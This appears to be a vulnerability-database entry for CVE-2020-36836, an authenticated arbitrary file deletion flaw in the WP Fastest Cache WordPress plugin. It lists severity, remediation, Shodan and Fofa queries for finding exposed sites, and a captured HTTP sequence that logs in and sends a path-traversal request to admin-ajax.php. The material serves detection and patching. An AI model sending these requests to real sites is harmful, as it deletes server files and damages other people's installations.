| Title | WordPress WP Fastest Cache <= 0.9.0.2 - Authenticated Arbitrary File Deletion |
|---|---|
| Author | melmathari |
| Severity | High |
| Impact | Authenticated attackers with minimal permissions can delete arbitrary files from the server, potentially breaking the WordPress installation or exposing sensitive data. |
| Remediation | Update WP Fastest Cache to version 0.9.0.3 or later to mitigate this vulnerability. |
| CVSS Score | 8.1 |
| EPSS Score | 0.19778 |
| CVE ID | CVE-2020-36836 |
| CWE ID | CWE-862 |
| Shodan Query | http.html:/wp-content/plugins/wp-fastest-cache/ |
| Fofa Query | body=/wp-content/plugins/wp-fastest-cache/ |
| Tags | cve cve2020 wordpress wp-plugin wp-fastest-cache auth intrusive wpfastestcache vkev vuln |
The WP Fastest Cache plugin for WordPress is vulnerable to unauthorized arbitrary file deletion in versions up to, and including, 0.9.0.2 due to a lack of capability checking and insufficient path validation. This makes it possible for authenticated users with minimal permissions to delete arbitrary files from the server.
GET /wp-content/plugins/wp-fastest-cache/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=KEN5Oy&pwd=RRr5vI&wp-submit=Log+In
POST /wp-admin/admin-ajax.php?path=/../../../wp-content/plugins/wp-fastest-cache/languages HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Connection: close
Content-Length: 37
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=wpfc_delete_current_page_cache
GET /wp-content/plugins/wp-fastest-cache/languages HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-36836.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-36836.pcap
N/AN/A